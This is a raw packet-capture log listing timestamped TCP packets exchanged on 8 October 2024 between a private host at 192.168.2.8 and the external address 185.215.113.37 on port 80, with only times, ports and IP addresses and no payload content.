Oct 8, 2024 00:13:31.522183895 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.522196054 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.522197962 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.522197962 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.522197962 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.522197962 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.522207022 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.522218943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.522258043 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.522258043 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.581756115 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.581815004 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.581820965 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.581888914 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.581896067 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.581907034 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.581912041 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.581918955 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.581940889 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.581940889 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.581942081 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.582014084 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.601670027 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.601687908 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.601695061 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.601706028 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.601711035 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.601716995 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.601728916 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.601732969 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.601751089 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.601751089 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.601789951 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.602710962 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602716923 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602787018 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602792978 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.602793932 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602802038 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602807999 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602813959 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602860928 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.602860928 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.602966070 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602971077 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602982044 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602987051 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602993011 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.602998018 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603003979 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603015900 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603099108 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603099108 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603115082 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603121996 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603280067 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603688955 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603694916 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603701115 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603705883 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603710890 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603722095 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603746891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603769064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603776932 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603790045 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603795052 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603801012 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603811979 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603811979 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603821993 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603832960 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603852034 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603854895 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603854895 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603859901 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603871107 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603878021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603883028 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603890896 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603894949 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603909016 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603913069 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603919029 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.603954077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603954077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.603954077 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604041100 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604047060 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604053974 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604084015 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604437113 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604444027 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604454994 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604460001 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604465961 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604471922 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604481936 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604485989 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604490995 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604532957 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604546070 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604552984 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604557991 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604557991 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604561090 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604568005 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604573965 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604578972 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604585886 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604595900 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604615927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604615927 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604645014 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604651928 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604655027 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604655027 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604672909 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604681015 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604692936 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604697943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604731083 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604731083 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604731083 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604823112 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604830027 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604840994 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604847908 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604854107 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604860067 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.604903936 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604903936 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.604903936 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605426073 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605437994 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605444908 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605458021 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605468035 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605515957 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605519056 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605519056 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605521917 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605530024 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605535030 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605540991 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605552912 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605560064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605565071 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605566025 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605566025 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605566025 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605618000 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605623960 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605623960 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605635881 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605640888 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605647087 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605652094 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605657101 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605663061 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605668068 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605679035 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605679035 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605679035 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605705023 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605725050 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605779886 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605848074 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.605951071 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.605958939 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.606014013 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.606844902 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.606852055 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.606906891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.673306942 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.673350096 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.673368931 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.673374891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.673388004 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.673396111 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.673425913 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.673444986 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.673445940 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.673445940 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.673480988 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.673482895 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.673527002 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.673556089 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.684350967 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.684360027 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.684379101 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.684384108 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.684396029 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.684401989 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.684407949 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.684413910 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.684421062 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.684468985 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685276031 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685281038 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685336113 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685367107 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685421944 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685497046 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685503006 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685508966 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685514927 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685527086 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685533047 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685548067 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685565948 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685565948 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685590029 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685611963 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685619116 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685628891 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685633898 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685647011 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685652971 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685659885 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685663939 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685673952 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685682058 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685714960 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685714960 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685720921 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685726881 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.685806990 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.685806990 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686127901 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686144114 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686150074 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686206102 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686206102 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686230898 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686235905 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686242104 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686250925 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686275959 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686294079 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686295033 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686301947 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686351061 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686351061 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686409950 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686415911 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686427116 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686433077 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686438084 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686443090 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686449051 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686459064 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686553001 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686558008 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686569929 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686574936 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686587095 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686592102 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686597109 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686600924 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686600924 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686600924 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686603069 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686614990 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686619997 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686621904 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686630964 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686633110 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686646938 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686647892 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686701059 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686706066 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:31.686736107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686736107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.686736107 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.826575041 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:31.834116936 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042402029 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042500973 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042505980 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042658091 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.042658091 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.042882919 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042898893 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042905092 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042938948 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.042975903 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.042975903 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042984009 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042990923 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.042996883 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043037891 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043140888 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043147087 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043159008 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043164968 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043174982 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043180943 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043190002 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043193102 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043195963 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043209076 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043216944 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043296099 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043458939 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043464899 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043472052 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043477058 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043482065 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043488026 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043493986 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043498993 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043504000 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043513060 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043513060 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043530941 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043637037 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043642998 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043653965 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043658972 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043664932 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043669939 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043675900 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043680906 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043687105 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043689013 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043689013 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043693066 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043718100 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 8, 2024 00:13:32.043749094 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043761015 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043771029 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 8, 2024 00:13:32.043781042 CEST	80	49704	185.215.113.37	192.168.2.8
